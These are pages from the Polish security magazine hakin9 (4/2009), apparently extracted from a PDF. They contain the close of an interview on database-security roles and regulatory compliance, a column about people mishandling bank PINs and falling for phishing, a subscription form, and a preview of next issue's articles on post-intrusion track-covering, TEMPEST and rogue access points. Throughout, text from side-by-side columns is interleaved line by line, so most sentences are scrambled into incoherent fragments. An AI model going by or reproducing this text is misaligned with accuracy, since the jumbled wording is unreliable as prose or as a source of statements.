produktów i narzędzi, które pomogą im kontroli dostępu i monitorowaniu działań procedurami, sposobami bezpiecznego
spełnić odpowiednie wymagania. innych administratorów baz danych w pisania kodu – we wszystkich środowiskach
Często widzę, że w firmach przedsiębiorstwie. programistycznych organizujemy szkolenia
powstaje nowe stanowisko w ramach Kolejna rzecz – można zauważyć, online, w których mogą uczestniczyć
departamentu IT: administrator że rola głównego specjalisty ds. pracownicy. Możemy im zaoferować
bezpieczeństwa danych – informatyk bezpieczeństwa informacji (Chief naprawdę szerokie możliwości pogłębiania
odpowiedzialny za egzekwowanie polityki Information Security Officer - CISO) lub wiedzy i rozwoju umiejętności w zakresie
bezpieczeństwa w ramach organizacji w informatyka do spraw bezpieczeństwa bezpieczeństwa. Aby mieć pewność, że
odniesieniu do innych, mniej lub bardziej (Chief Security Officer - CSO) zyskuje w standardy stosowane są wszędzie z taką
uprzywilejowanych użytkowników baz ostatnich latach coraz szersze uprawnienia samą skrupulatnością, oferujemy szkolenia
danych. Pozwala to osiągnąć w firmie rzecz w zakresie zasobów i budżetu. Dawniej w zakresie standardów bezpieczeństwa,
bardzo trudną: zapewnienie segregacji pozycja ta wiązała się z mniejszą przeznaczone dla wszystkich programistów,
lub separacji obowiązków. Jest to jeden odpowiedzialnością. Obecnie wiele takich kierowników produktów, kierowników ds.
z najważniejszych wymogów ustawy osób podlega bezpośrednio kierownictwu zarządzania wersjami i pracowników działu
Sarbanes-Oxley i innych przepisów firmy, co pozwala im na łatwiejsze zapewnienia jakości.
prawnych. egzekwowanie polityk bezpieczeństwa w Bezpieczny proces projektowania
W przeszłości stanowisko to było całej organizacji. oprogramowania, stosowany przez Oracle,
przeznaczone dla pracowników z Wreszcie, przepisy nakładają na jest gwarancją, że w każdym dziale naszej
doświadczeniem w dziedzinie biznesu coraz większą liczbę firm obowiązek firmy wdrożone zostały najbardziej aktualne
lub zasad bezpieczeństwa. Rola monitorowania i kontrolowania użytkowników normy bezpieczeństwa, narzędzia i
administratora bezpieczeństwa danych baz danych. Konieczność spełnienia biblioteki. Naszym celem jest promowanie
ma bardziej techniczny charakter. W norm i wymagań spowodowała, że audyt „świadomości o bezpieczeństwie” wśród
większości przypadków stanowisko wewnętrzny jest teraz obowiązkiem. W wszystkich programistów, na każdym
to zajmują osoby z bardzo dobrze przeszłości monitorowanie bazy danych etapie procesu tworzenia systemów
rozwiniętymi umiejętnościami w zakresie miało charakter opcjonalny. Obecnie jest to – od zdefiniowania produktu, poprzez
bezpieczeństwa i administrowania bazami wymóg. programowanie, wprowadzenie go na rynek,
danych. Czytelnicy magazynu hakin9 Dziś łatwiej jest się bronić przed aż do zapewnienia pomocy technicznej.
powinni rozważyć to nowe stanowisko jako wieloma zagrożeniami z wewnątrz. Jeszcze
interesujący wpis do swojego życiorysu. niedawno nawet najsurowsze regulacje nie Co Pan sądzi o polskich
Przez długi czas uprzywilejowani były egzekwowane. Jednak ten trend także specjalistach ds. bezpieczeństwa
użytkownicy byli władcami swoich ulega zmianie - groźba nałożenia wysokich IT?
małych królestw i mieli dostęp do kar czy mandatów, ale także utraty reputacji Przebywam w Polsce tylko tydzień,
uprzywilejowanych danych. Mieli oni dostęp przy braku realizacji wymogów związanych spotkałem się z wieloma klientami różnych
do bardzo poufnych danych firmowych, z bezpieczeństwem informatycznym, jest tu branż. Jestem naprawdę pod wrażeniem
na przykład informacji finansowych skutecznym straszakiem. poziomu umiejętności i wiedzy eksperckiej
lub danych pracowników. Określone – zarówno w zakresie baz danych, jak
przepisy i akty prawne, takie jak ustawa Jak dbacie o swoich pracowników? i bezpieczeństwa IT. Wiem jednak też z
Sarbanes-Oxley (SoX), unijne przepisy Czy odbywają systematyczne prasy, że z tego regionu Europy pochodzi
dotyczące prywatności oraz standard szkolenia? wiele ataków hakerskich i innych zagrożeń
PCI-DSS (chroniący dane osobowe Ujmę to w ten sposób: Oracle dysponuje bezpieczeństwa.
posiadaczy kart płatniczych) nakładają na bogatymi zasobami umożliwiającymi Muszę przyznać, że pobyt w Polsce był
przedsiębiorstwa obowiązek zapewnienia, prowadzenie technicznych szkoleń i dla mnie bardzo przyjemny. Miałem również
że uprzywilejowani użytkownicy nie kursów dla pracowników. Przygotowaliśmy okazję doświadczyć wspaniałej, tradycyjnej
nadużywają swoich uprawnień. Mogliby oni wewnętrzne blogi, szkolenia do nauki polskiej gościnności. Mam nadzieję, że
przecież wykorzystać swoje uprawnienia, samodzielnej, kursy, zajęcia i fora dyskusyjne kiedyś tu wrócę.
przykładowo do zasięgnięcia informacji o poświęcone bezpieczeństwu IT. Wszyscy
kartach płatniczych klientów lub sytuacji specjaliści oraz programiści związani z Dziękuję za rozmowę.

76 HAKIN9 4/2009
FELIETON

Tylko dwie rzeczy


są nieskończone...
Południe. Główna ulica 400-tysięcznego miasta. Spokojnie stoję w kolejce do
bankomatu. Za mną ustawiła się dziewczyna z chłopakiem. Zazwyczaj nie podsłuchuję
rozmów, ale mówili na tyle głośno, że ja (i pewnie jeszcze kilka innych osób) słyszałem
wszystko mimowolnie.

D
ziewczyna powiedziała ułatwić sobie życie. A w dzisiejszych zatrzymana. Zakupy w sklepie byłyby
chłopakowi, że nie pamięta PIN-u czasach nic nie ułatwia go tak jak pozbawione jakiegokolwiek stresu. Gdy
i że musi zadzwonić do koleżanki. telefony komórkowe. W książce tylko doszłoby do płatności, wystarczyłoby
Wzięła telefon, wykręciła numer. adresowej zapisujemy numer y telefonów podać ekspedientce kartę. Ona już sama
Rozmowa przebiegła mniej więcej tak: znajomych. Urodziny i terminy spotkań za nas wpisałaby PIN do terminala.
Cześć Ewelina! Słuchaj, nie pamiętam w terminarzu. Jak widać, nawet PIN Nie byłoby też żadnych przeszkód, aby
PIN-u do mojej karty bankowej. Na do karty płatniczej możemy zapisać w poprosić znajomego, żeby poszedł za nas
moim biurku leży taki zielony segregator. komórce. Wkrótce zaczniemy wpisywać wyciągnąć pieniądze z bankomatu. Po
Tam jest taka lista z wszystkimi moimi nasz adres, godziny, o któr ych nie ma prostu idylla.
hasłami. Lista z hasłami? Nierozsądne, nas w domu, imię psa, rasę oraz jak Zmieniając temat: czy wydawanie
ale bardzo typowe. Wiele osób tak robi. go można udobruchać. Model alarmu, magazynu Hakin9 w ogóle ma sens?
Najgorsze jednak miało dopiero nadejść. jakiego używamy (oczywiście wraz z Piszemy, jak poprawnie konfigurować
Jak, jak? 3765? Tak – to chyba ten. numerem PIN do niego), a także to, systemy informatyczne. Uczymy o
Dzięki, cześć! . Prawdziwi z nas hakierzy! gdzie w mieszkaniu należy szukać tym, jak pisać bezpieczne aplikacje.
Poznaliśmy numer PIN tej kobiety, drogocennych przedmiotów. Opisujemy algorytmy kryptograficzne,
chociaż tak naprawdę nic nie zrobiliśmy. Być może już wkrótce banki zrozumieją, których bezpieczeństwo jest
W tym miejscu powinienem napisać: jaką krzywdę robią ludziom. Pójdą swoim zapewnione skomplikowanymi wzorami
co by się stało, gdyby zamiast mnie stał klientom na rękę i zaczną drukować PIN-y matematycznymi. Zwykły użytkownik może
tam jakiś złodziej..., ale czy to nie jest na kartach płatniczych. Cóż to by była za jednak zainstalować najlepsze i najdroższe
oczywiste? I gdy już myślałem, że poziom wygoda i oszczędność czasu! Już nigdy nie produkty zapewniające bezpieczeństwo.
głupoty sięgnął zenitu, chłopak rzekł pomyliłby nam się PIN do karty kredytowej Może je poprawnie skonfigurować i
do dziewczyny: Zapisz sobie ten numer z PIN-em do domofonu. Nie musielibyśmy uruchomić wszystkie niezbędne dodatki,
w komórce. Przecież czterocyfrowy się martwić, że znowu źle wpiszemy kod a i tak pozostaje wciąż narażony na
numer telefonu w książce adresowej na i nasza karta zostanie przez bankomat niebezpieczeństwo. Bo nawet najlepsze
pewno nie wzbudzi żadnych podejrzeń u
przestępcy... Krzysztof Piecuch jest studentem informatyki Uniwersytetu
Wraz z rozwojem cywilizacji jesteśmy Wrocławskiego. Interesuje się programowaniem i algorytmiką. Nie
zmuszeni do zapamiętywania coraz ma problemu z zapamiętaniem 4-cyfrowego numeru PIN.
to większej ilości informacji. Urodziny Kontakt z autorem: krzysztof.piecuch@gmail.com
znajomych, terminy spotkań, ważniejsze
numer y telefonów. Nic dziwnego, że
próbujemy różnych sposobów, aby

78 HAKIN9 4/2009
drzwi antywłamaniowe nie powstrzymają permanentnie będzie korzystał z konta na przykład świątecznej promocji – proszą
złodzieja, jeśli klucz schowamy pod prawach administratora. Gdy domyślnie o zalogowanie się na specjalnie
wycieraczkę. Czy jest zatem sens wymyślać zainstalujemy w systemie ochronę spreparowanej stronie, wyglądającej jak
coraz lepsze zabezpieczenia, kiedy antywirusową, to użytkownik ją wyłączy strona banku X. Metoda ta nazywa się
problem leży zupełnie gdzie indziej? (bo przez ten program komputer wolniej phishingiem. Jest ona o wiele szybsza,
Idealnym rozwiązaniem byłoby działa). prostsza i skuteczniejsza niż łamanie
stworzenie takich systemów Innym rozwiązaniem (i chyba zabezpieczeń banku. A dopóki klienci
informatycznych, które byłyby po prostu najbardziej racjonalnym) jest banków podają numer PIN, jakby był
bezpieczne. I nieważne, czy korzystałby z informowanie społeczeństwa o on numerem telefonu, to takie praktyki
nich doświadczony administrator, osoba, będą jeszcze się nasilać. I, pomimo że
która nie ma pojęcia o bezpieczeństwie
Człowiek w całym banki ostrzegają swoich klientów przed
komputerowym, czy ktoś o inteligencji łańcuchu bezpieczeństwa oszustami, ciągle słyszymy o kolejnych
marchewki. Taki program wystarczyłoby był, jest i będzie jego tego typu atakach.
zainstalować w swoim systemie, i już Nawet Kevin Mitnick, któr y jest
żaden haker nie mógłby dostać się do
najsłabszym ogniwem. uważany za największego hakera na
naszych zasobów. Moglibyśmy umieścić niebezpieczeństwach, jakie czyhają w świecie, mówił, że łamał ludzi – nie
nasze kody w Internecie albo wpuścić cyberprzestrzeni. Ale przecież już to hasła. Z kolei Albert Einstein podobno
hakera do naszego mieszkania. System robimy! Informujemy, apelujemy, prosimy powiedział: Tylko dwie rzeczy są
i tak pozostałby niezdobyty. Niestety, takie i grozimy. I co? I nic! Nie wierzę, aby nieskończone: wszechświat i ludzka
programy pozostają jedynie w sferze bohaterka naszej historii nie wiedziała głupota. Choć co do tego pierwszego to
marzeń. Jakbyśmy się nie starali, nie o tym, jak poufną informacją jest numer nie mam pewności.
uda nam się stworzyć zabezpieczeń PIN. Że nie można podawać go innym Czuję, że jesteśmy bezsilni w tej
całkowicie idioto-odpornych, gdyż idioci i że należy chronić go jak największej kwestii. Przez ostatnie 30 lat zrobiliśmy
są genialni w swojej głupocie. Jeśli nawet tajemnicy. Że jeśli złodziej pozna PIN, milowe kroki w kwestii zabezpieczeń.
przewidzielibyśmy wszystkie głupstwa, jakie to będzie mogła pożegnać się z ciężko Jednak jeśli chodzi o świadomość
może popełnić użytkownik, to i tak zrobiłby zarobionymi pieniędzmi odłożonymi społeczeństwa, to dalej jesteśmy tam,
on coś, na co nigdy nie wpadlibyśmy. na koncie. Bo choć pieniądze w banku skąd wyruszyliśmy. Swoją drogą...
Jakiś czas temu w większości systemów są ubezpieczone od kradzieży, to nie pozostaje dla mnie tajemnicą, dlaczego
wprowadzono wykrywanie słabych zobaczymy ani grosza, jeśli okaże się, ludzie chodzą z numerami PIN w
haseł już w czasie rejestracji. Jednak im że to my podaliśmy złodziejowi hasło do portfelach, ale przyczepienie do klucza
dłuższe i mocniejsze hasło, tym większe naszego konta. breloczka z adresem mieszkania uznają
prawdopodobieństwo, że użytkownik Nic dziwnego, że cyfrowi przestępcy za totalny kretynizm? Te dwie czynności
karteczkę z hasłem naklei na monitor nie łamią haseł do kont bankowych. powinny wywoływać w ludziach taką
albo w ogóle zapomni, jakie hasło wpisał. Oni po prostu grzecznie o nie proszą. samą reakcję! Różnią się między
Gdy zmusimy użytkownika do stworzenia Złodzieje wysyłają miliony maili, podając sobą tylko tym, że klucz chroni nasze
profilu o ograniczonych prawach, to i tak się za bank X i – pod pozorem na mieszkanie, a PIN – nasze pieniądze.

R E K L A M A

4/2009 HAKIN9 79
Roczna prenumerata

tylko
249,-
+ hakin9 Extra
hakin9 – jak się obronić to ukazujący się w dwudziestu
czterech krajach Europy magazyn o bezpieczeństwie.
hakin9 porusza sprawy związane z bezpieczeństwem sys-
temów informatycznych – rozpatrywane zarówno od stro-
ny osoby naruszającej bezpieczeństwo, jak i osoby, która
bezpieczeństwo zapewnia. Radzimy jak skutecznie zabez- UWAGA!
pieczyć system przed hakerami i wszelkimi innymi zagro-
żeniami, oprowadzamy Czytelników po tajnikach najpopu-
larniejszych programów antywirusowych, systemów wy- Zmiana danych
krywania włamań, narzędziach, których potrzebuje każdy
administrator.
kontaktowych

Obsługa prenumeraty
1. Telefon 3. Adres
+48 22 877 20 80 EuroPress Polska Sp. z o.o.
2. Fax ul. Jana Kazimierza 46/54
+48 22 877 20 70
01-248 Warszawa
2. Online
software@europress.pl
Zamówienie prenumeraty

Prosimy wypełniać czytelnie i przesyłać faksem na numer:


00 48 22 877 20 70
lub listownie na adres:
EuroPress Polska Sp. z o.o.
ul. Jana Kazimierza 46/54
01-248 Warszawa
Polska
E-Mail: software@europress.pl

Przyjmujemy też zamównienia telefoniczne:


00 48 22 877 20 80

Jeżeli chcesz się dowiedzieć o formach płatności, wejdź na stronę:


www.europress.pl lub napisz na e-mail: software@europress.pl

Imię i nazwisko ...............................................................................

Nazwa firmy.....................................................................................

Dokładny adres ..............................................................................

.........................................................................................................

Zadzwoń Telefon ............................................................................................

0
+48 22 877 20 8
E–mail .............................................................................................

lub ID kontrahenta ................................................................................

zamów Numer NIP firmy .............................................................................

mailowo! Fax (wraz z nr kierunkowym) .........................................................

□ automatyczne przedłużenie prenumeraty

Prenumerujesz
– zyskujesz
l oszczędność
Ilość Od
pieniędzy Ilość zama- numeru

l szybka dostawa Tytuł nume- wianych


rów
pisma
prenume- lub mie-
Cena

rat siąca
l prezenty hakin9, jak się obronić

bezpieczna płatność
(1 płyta CD)
l Miesięcznik o 11
249
on–line
bezpieczeństwie
i hakingu PLN

1
hakin9 Extra
ZA MIESIĄC
W następnym numerze między innymi:
Aktualne informacje o najbliższym numerze
znajdziesz na naszej stronie www.hakin9.org/pl.

Atak NA CD
hakin9.live bootowalna dystrybucja Linuksa
ZACIERANIE ŚLADÓW PO WAMANIU
Mnóstwo narzędzi – niezbędnik hakera
Dla crackera włamującego się do
Tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach
cudzego systemu informatycznego
Dodatkowa dokumentacja
najważniejsze jest... skuteczne zatarcie
śladów po całej operacji. Nawet najbardziej
Pełne wersje komercyjnych aplikacji
spektakularne włamanie przy użyciu
stworzonego przez siebie exploita nie
przyniesie włamywaczowi wiele korzyści,
jeśli nazajutrz pojawią się u niego agenci
CBŚ. Zapraszam do poznania kilku technik
stosowanych przez crackerów w celu zorganizowane grupy przestępcze,
zmylenia śledczych przeprowadzających posiadające rozproszoną siatkę w całej
analizę powłamaniową. Europie. Pomimo coraz lepszych technik
przeciwdziałania, pranie brudnych
TEMPEST. BURZA W SZKLANCE WODY pieniędzy staje się niestety coraz
W obecnych czasach niemal każda łatwiejsze. Artykuł ten pokazuje, na czym
informacja jest na sprzedaż i stanowi bazują takie ataki oraz jak się przed nimi
niezwykle cenny towar. Pozwolisz nadal uchronić.
siebie bezkarnie okradać? Najlepszą

Obrona
obroną jest atak, atak elektromagnetyczny.

DEFRAUDACJE
Z UŻYCIEM ROGUE ACCES POINTS PROJEKTOWANIE
Coraz więcej tzw. black-hat hakerów INTERFEJSÓW UŻYTECZNYCH
wykorzystuje sieci bezprzewodowe do Zapomniany temat przez wszystkich,
kradzieży poufnych danych płatniczych. ostatnio jednak bardziej poruszany dla
Proceder ten nabrał dużego rozmachu klienta, czyli interfejs, to co jest pomiędzy
szczególnie u naszych zachodnich nami a sprzętem. Nie zawsze funkcjonalny
sąsiadów, gdzie płatne punkty dostępowe nie zawsze adekwatny do potrzeb klienta.
stały się bardzo popularne. Natomiast Dziś nietypowo zobaczymy interfejs osób
całym procesem coraz częściej zawiadują po drugiej stronie czyli użytkowników.

Numer będzie w sprzedaży


pod koniec kwietnia 2009
Redakcja zastrzega sobie prawo zmiany zawartości pisma.

82 HAKIN9 4/2009

You might also like